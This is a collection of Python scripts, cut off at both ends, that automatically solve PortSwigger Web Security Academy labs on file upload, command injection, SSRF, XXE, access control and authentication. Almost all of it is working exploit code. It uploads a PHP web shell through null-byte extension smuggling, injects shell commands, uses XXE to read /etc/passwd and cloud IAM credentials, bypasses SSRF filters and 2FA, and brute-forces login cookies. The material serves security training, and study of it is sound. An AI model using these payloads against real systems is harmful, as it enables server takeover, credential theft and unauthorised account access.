from requests_toolbelt import MultipartEncoder
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url,verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find("input",{"name":"csrf"})['value']
return csrf
def file_upload(s,url):
login_url=url+'/login'
csrf=get_csrf_token(s,login_url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(login_url,data=data,verify=False,proxies=proxies)
if 'Log out' in r.text:
account_url=url+'/my-account'
csrf=get_csrf_token(s,account_url)
avatar_url=url+'/my-account/avatar'
# Null byte injection to obfuscate extension
params={'avatar':('system_requirements.php%00.png','<?php system($_REQUEST["cmd"]); ?>','application/x-php'),'user':'wiener','csrf':csrf}
boundary="------WebKitFormBoundary"+''.join(random.sample(string.ascii_letters+string.digits,16))
m=MultipartEncoder(fields=params,boundary=boundary)
headers={'Content-Type':m.content_type}
r=s.post(avatar_url,data=m,headers=headers,verify=False,proxies=proxies)
print("[+] The following is the secret file")
shell_url=url+'/files/avatars/system_requirements.php?cmd='+'cat /home/carlos/secret'
res=s.get(shell_url,verify=False,proxies=proxies)
print(res.text)
else:
print("[-] Login was not successful")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
file_upload(s,url)
4. PortSwigger OS Command Injection Automation
Automated solutions for Web Security Academy OS Command Injection labs.
Apprentice
OS command injection, simple case
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}
def command_injection(s,url):
path='/product/stock'
command='3 & whoami'
data={'productId':'2','storeId':command}
response=s.post(url+path,data=data,verify=False,proxies=proxies)
soup=BeautifulSoup(response.text,'html.parser')
result=soup.find(string=re.compile(r'.*peter.*'))
if 'not found' in response.text:
print(f"[-] Command injection not successful,Wrong command {command}")
sys.exit(-1)
else:
print(f"[+] Command injection successful for whoami command response is {result}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
command_injection(s,url)
Practitioner
Blind OS command injection with time delays
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}
def get_csrf_token(s,url):
resp=s.get(url+'/feedback',verify=False,proxies=proxies)
soup=BeautifulSoup(resp.text,'html.parser')
csrf=soup.find('input')['value']
return csrf
def command_injection(s,url,inj):
path='/feedback/submit'
command="mail@email.in & "+inj
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'name':'0xara','email':command,'subject':'subject','message':'message'}
response=s.post(url+path,data=data,verify=False,proxies=proxies)
if response.elapsed.total_seconds() > 10:
print(f"[+] Command injection successful and vulnerable to time based injection")
else:
print("[-] Failed command injection")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com 'sleep 10 \\#'")
sys.exit(-1)
url=sys.argv[1]
inj=sys.argv[2]
s=requests.Session()
command_injection(s,url,inj)
Practitioner
Blind OS command injection with output redirection
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080',}
def get_csrf_token(s,url):
resp=s.get(url+'/feedback',verify=False,proxies=proxies)
soup=BeautifulSoup(resp.text,'html.parser')
csrf=soup.find('input')['value']
return csrf
def command_injection(s,url,inj):
path='/feedback/submit'
command="mail@email.in &"+inj
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'name':'0xara','email':command,'subject':'subject','message':'message'}
r=s.post(url+path,data=data,verify=False,proxies=proxies)
response=s.get(url+'/image?filename=file.txt',verify=False,proxies=proxies)
if response.status_code == 200:
print(f"[+] Command injection successful and response is {response.text}")
else:
print("[-] Failed command injection")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"[-] Usage python3 {sys.argv} https://vulnerable_website.com whoami>/var/www/images/file.txt \\#")
sys.exit(-1)
url=sys.argv[1]
inj=sys.argv[2]
s=requests.Session()
command_injection(s,url,inj)
5. PortSwigger SSRF Automation
Automated solutions for Web Security Academy Server-Side Request Forgery (SSRF) labs.
Apprentice
Basic SSRF against the local server
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
data={'stockApi':'http://localhost/admin/delete?username=carlos'}
r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
data_admin={'stockApi':'http://localhost/admin'}
res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
if "User deleted successfully" in res.text:
print("[+] Carlos user deleted successfully")
else:
print("[-] SSRF request was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
delete_user_carlos(s,url)
Apprentice
Basic SSRF against another back-end system
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def brute_url(s,url):
for i in range(1,255):
ip=f'http://192.168.0.{i}:8080/admin'
data={'stockApi':ip}
response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
if "200" in str(response.status_code):
print(f"[+] url found {ip}")
break
return ip
def delete_user_carlos(s,url):
ip=brute_url(s,url)
data={'stockApi':ip+'/delete?username=carlos'}
r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
data_admin={'stockApi':ip}
res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
if "User deleted successfully" in res.text:
print("[+] Carlos user deleted successfully")
else:
print("[-] SSRF request was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
delete_user_carlos(s,url)
Practitioner
SSRF with blacklist-based input filter
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
data={'stockApi':'http://127.1/%61dmin/delete?username=carlos'}
r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
data_admin={'stockApi':'http://127.1/%61dmin'}
res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
if "User deleted successfully" in res.text:
print("[+] Carlos user deleted successfully")
else:
print("[-] SSRF request was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
delete_user_carlos(s,url)
Practitioner
SSRF with filter bypass via open redirection vulnerability
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
data={'stockApi':'/product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin/delete?username=carlos'}
r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
data_admin={'stockApi':'/product/nextProduct?currentProductId=2&path=http://192.168.0.12:8080/admin'}
res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
if "User deleted successfully" in r.text:
print("[+] Carlos user deleted successfully")
else:
print("[-] SSRF request was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
delete_user_carlos(s,url)
Expert
SSRF with whitelist-based input filter
import requests
import sys
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def delete_user_carlos(s,url):
data={'stockApi':'http://localhost%23@stock.weliketoshop.net/admin/delete?username=carlos'}
r=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
data_admin={'stockApi':'http://localhost%23@stock.weliketoshop.net/admin'}
res=s.post(url+'/product/stock',data=data_admin,verify=False,proxies=proxies)
if "Carlos" not in r.text:
print("[+] Carlos user deleted successfully")
else:
print("[-] SSRF request was not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vlunerablewebsite.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
delete_user_carlos(s,url)
6. PortSwigger XXE Injection Automation
Automated solutions for Web Security Academy XML External Entity (XXE) injection labs.
Apprentice
Exploiting XXE using external entities to retrieve files
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def xxe_injection(s,url):
data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><stockCheck><productId>&xxe;</productId><storeId>3</storeId></stockCheck>'
headers={'Content-Type':'application/xml'}
response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
print("The following are the contents of /etc/passwd files: \n",response.text)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
xxe_injection(s,url)
Apprentice
Exploiting XXE to perform SSRF attacks
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def xxe_injection(s,url):
data='<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]><stockCheck><productId>&xxe;</productId><storeId>3</storeId></stockCheck>'
headers={'Content-Type':'application/xml'}
response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
print("The following are the iam credentials of aws user: \n",response.text)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
xxe_injection(s,url)
Practitioner
Exploiting XInclude to retrieve files
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def xxe_injection(s,url):
data={'productId':'1<book xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"/></book>','storeId':'2'}
response=s.post(url+'/product/stock',data=data,verify=False,proxies=proxies)
print("The following is the contents of /etc/passwd: \n",response.text)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[-] Usage python3 {sys.argv} https://vulnerableserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
xxe_injection(s,url)
Practitioner
Exploiting XXE via image file upload
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import random, string
from requests_toolbelt import MultipartEncoder
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def get_csrf_token(s, url):
r = s.get(url, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input", {"name": "csrf"})['value']
return csrf
def xxe_upload(s, url):
post_url = url + "/post?postId=1"
csrf_token = get_csrf_token(s, post_url)
print("(+) Exploiting XXE injection...")
comment_url = url + "/post/comment"
params = {"csrf": csrf_token,
"postId": "1",
"comment": "test",
"name": "test",
"avatar": ('test.svg', '<?xml version="1.0" standalone="yes"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>', 'image/svg+xml'),
"email": "test@test.ca",
"website": "http://www.test.ca"}
boundary = '------WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
m = MultipartEncoder(fields=params, boundary=boundary)
headers = {'Content-Type': m.content_type}
r = s.post(comment_url, data=m, headers=headers, verify=False, proxies=proxies)
print(r.text)
if __name__ == "__main__":
if len(sys.argv) !=2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
s = requests.Session()
url = sys.argv[1]
xxe_upload(s,url)
8. PortSwigger Access Control Automation
Automated solutions for Web Security Academy Access Control labs.
Apprentice
Unprotected admin functionality
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(url):
r=requests.get(url+'/administrator-panel/delete?username=carlos',verify=False,proxies=proxies)
response=requests.get(url+'/administrator-panel',verify=False,proxies=proxies)
if "carlos" not in response.text:
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
access_control(url)
Apprentice
Unprotected admin functionality with unpredictable URL
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(url):
r=requests.get(url,verify=False,proxies=proxies)
session_cookies=r.cookies.get_dict().get('session')
soup=BeautifulSoup(r.text,'lxml')
admin_path_line=soup.find(string=re.compile(r"/admin-"))
admin_path=re.search("href', '(.*)'",admin_path_line).group(1)
print(admin_path)
cookies={'session':session_cookies}
print(cookies)
response=requests.get(url+admin_path+'/delete?username=carlos',cookies=cookies,verify=False,proxies=proxies)
if "200" in str(response.status_code):
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
access_control(url)
Apprentice
User role controlled by request parameter
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/my-account',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find('input',{'name':'csrf'})['value']
return csrf
def access_control(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
res=s.get(url+'/my-account',data=data,verify=False,proxies=proxies)
session_cookies=res.cookies.get_dict().get('session')
cookies={'Admin':'true','session':session_cookies}
response=s.get(url+'/admin/delete?username=carlos',cookies=cookies,verify=False,proxies=proxies)
if "200" in str(response.status_code):
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
User role can be modified in user profile
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(s,url):
data={'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
json={'email':'ara@ara.com','roleid':2}
res=s.post(url+'/my-account/change-email',json=json,verify=False,proxies=proxies)
if 'Admin' in res.text:
response=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
if "200" in str(response.status_code):
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
else:
print("[-] Could not delete user carlos")
sys.exit(-1)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
User ID controlled by request parameter
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/my-account',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find('input',{'name':'csrf'})['value']
return csrf
def access_control(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
res=s.get(url+'/my-account?id=carlos',verify=False,proxies=proxies)
soup=BeautifulSoup(res.text,'html.parser')
key=soup.find(string=re.compile(r"Your API Key is: .*"))
print(key)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
User ID controlled by request parameter, with unpredictable user IDs
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/my-account',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find('input',{'name':'csrf'})['value']
return csrf
def carlos_guid(s,url):
r = requests.get(url, verify=False, proxies=proxies)
res = r.text
post_id = re.findall(r'postId=(\w+)"', res)
post_id_list = list(set(post_id))
for i in post_id_list:
r = s.get(url + "/post?postId=" + i, verify=False, proxies=proxies)
res = r.text
if 'carlos' in res:
print("(+) Found Carlos GUID...")
guid = re.findall(r"userId=(.*)'", res)[0]
return guid
def access_control(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
guid=carlos_guid(s,url)
res=s.get(url+'/my-account?id='+guid,data=data,verify=False,proxies=proxies)
soup=BeautifulSoup(res.text,'html.parser')
key=soup.find(string=re.compile(r"Your API Key is: .*"))
print(key)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
User ID controlled by request parameter with data leakage in redirect
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/my-account',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find('input',{'name':'csrf'})['value']
return csrf
def access_control(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
res=s.get(url+'/my-account?id=carlos',verify=False,proxies=proxies,allow_redirects=False)
soup=BeautifulSoup(res.text,'html.parser')
key=soup.find(string=re.compile(r"Your API Key is: .*"))
print(key)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
User ID controlled by request parameter with password disclosure
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def get_csrf_token(s,url):
r=s.get(url+'/my-account',verify=False,proxies=proxies)
soup=BeautifulSoup(r.text,'html.parser')
csrf=soup.find('input',{'name':'csrf'})['value']
return csrf
def access_control(s,url):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
res=s.get(url+'/my-account?id=administrator',verify=False,proxies=proxies)
soup=BeautifulSoup(res.text,'html.parser')
password=soup.find('input',{'name':'password'})['value']
print(password)
response=s.get(url+'/logout',verify=False,proxies=proxies)
if "200" in str(response.status_code):
csrf=get_csrf_token(s,url)
data={'csrf':csrf,'username':'administrator','password':password}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
r=s.get(url+'/admin/delete?username=carlos',verify=False,proxies=proxies)
response=s.get(url+'/admin',verify=False,proxies=proxies)
if "carlos" not in response.text:
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
else:
print("[-] Logout not successful")
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Apprentice
Insecure direct object references
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def retrive_password(s, url):
chat_url = url + "/download-transcript/1.txt"
r = s.get(chat_url, verify=False, proxies=proxies)
res = r.text
if 'password' in res:
print("[+] Found Carlos's password...")
carlos_password = re.findall(r'password is (.*)\.', res)
return carlos_password[0]
else:
print("[-] Could not find Carlos's password.")
sys.exit(-1)
def get_csrf_token(s, url):
r = s.get(url, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input", {'name': 'csrf'})['value']
return csrf
def login(s, url, password):
login_url = url + "/login"
csrf_token = get_csrf_token(s, login_url)
data_login = {"username": "carlos", "password": password, "csrf": csrf_token}
r = s.post(login_url, data=data_login, verify=False, proxies=proxies)
res = r.text
if "Log out" in res:
print("[+] Successfully logged in as carlos")
else:
print("[-] Failed login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage: python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
s = requests.Session()
url = sys.argv[1]
password = retrive_password(s,url)
login(s,url,password)
Practitioner
URL-based access control can be circumvented
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(s,url):
headers={'X-Original-Url':'/admin/delete'}
r=s.get(url+'/?username=carlos',headers=headers,verify=False,proxies=proxies)
headers1={'X-Original-Url':'/admin'}
response=s.get(url+'/',headers=headers1,verify=False,proxies=proxies)
if "carlos" not in response.text:
print("[+] Successfully deleted user Carlos")
else:
print("[-] Not successful exploit")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Practitioner
Method-based access control can be circumvented
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(s,url):
data={'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
upgrade_url=url+'/admin-roles?username=wiener&action=upgrade'
res=s.get(upgrade_url,verify=False,proxies=proxies)
if 'Admin panel' in res.text:
print("[+] Wiener upgraded with administrator privileges")
else:
print("[-] Could not upgrade wiener")
sys.exit(-1)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Practitioner
Multi-step process with no access control on one step
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(s,url):
data={'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
data={'action':'upgrade','confirmed':'true','username':'wiener'}
res=s.post(url+'/admin-roles',data=data,verify=False,proxies=proxies)
if '200' in str(res.status_code):
print("[+] User upgraded with administrator privileges")
else:
print("[-] Could not upgrade user")
sys.exit(-1)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
Practitioner
Referer-based access control
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def access_control(s,url):
data={'username':'wiener','password':'peter'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
upgrade_url=url+'/admin-roles?username=wiener&action=upgrade'
headers={'Referer':url+'/admin'}
res=s.get(upgrade_url,headers=headers,verify=False,proxies=proxies)
if '200' in str(res.status_code):
print("[+] User upgraded with administrator privileges")
else:
print("[-] Could not upgrade user")
sys.exit(-1)
else:
print("[-] Failed to login")
sys.exit(-1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
access_control(s,url)
9. PortSwigger Authentication Automation
Automated solutions for Web Security Academy Authentication labs.
Apprentice
2FA simple bypass
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def auth_bypass(s,url):
data={'username':'carlos','password':'montoya'}
# Log in but do not allow redirect to the 2FA page
r=s.post(url+'/login',data=data,verify=False,proxies=proxies,allow_redirects=False)
# Force browse to the account page, bypassing the 2FA check
res=s.get(url+'/my-account',verify=False,proxies=proxies)
if "Log out" in res.text:
print("[+] Successfully bypassed 2FA")
else:
print("[-] Not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
auth_bypass(s,url)
Apprentice
Password reset broken logic
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def auth_bypass(s,url):
# Exploit the logic flaw in the token parameter
reset_data={'temp-forgot-password-token':'token','username':'carlos','new-password-1':'password','new-password-2':'password'}
response=s.post(url+'/forgot-password?temp-forgot-password-token=token',data=reset_data,verify=False,proxies=proxies)
# Attempt login with new credentials
data={'username':'carlos','password':'password'}
r=s.post(url+'/login',data=data,verify=False,proxies=proxies)
if "Log out" in r.text:
print("[+] Successfully bypassed password reset logic")
else:
print("[-] Not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
auth_bypass(s,url)
Practitioner
Brute-forcing a stay-logged-in cookie
import requests
import sys
import urllib3
import hashlib
import base64
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
def auth_bypass(s,url):
with open("password.txt","r") as f:
for passwd in f:
password=passwd.strip()
# Construct the cookie structure: base64(username:md5(password))
md5_hash='carlos:'+hashlib.md5(password.encode('utf-8')).hexdigest()
base_encode=base64.b64encode(bytes(md5_hash,"utf-8")).decode('utf-8')
cookies={'stay-logged-in':base_encode}
# sys.stdout.write(f"[+] trying password \r{password}")
# sys.stdout.flush()
r=s.get(url+"/my-account",cookies=cookies,verify=False,proxies=proxies)
if "Log out" in r.text:
print("[+] Successfully logged in as carlos with password ",password)
sys.exit(0)
print("[-] Not successful")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"[+] Usage python3 {sys.argv[0]} https://vulnserver.com")
sys.exit(-1)
url=sys.argv[1]
s=requests.Session()
auth_bypass(s,url)
Practitioner
Password brute-force via password change
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
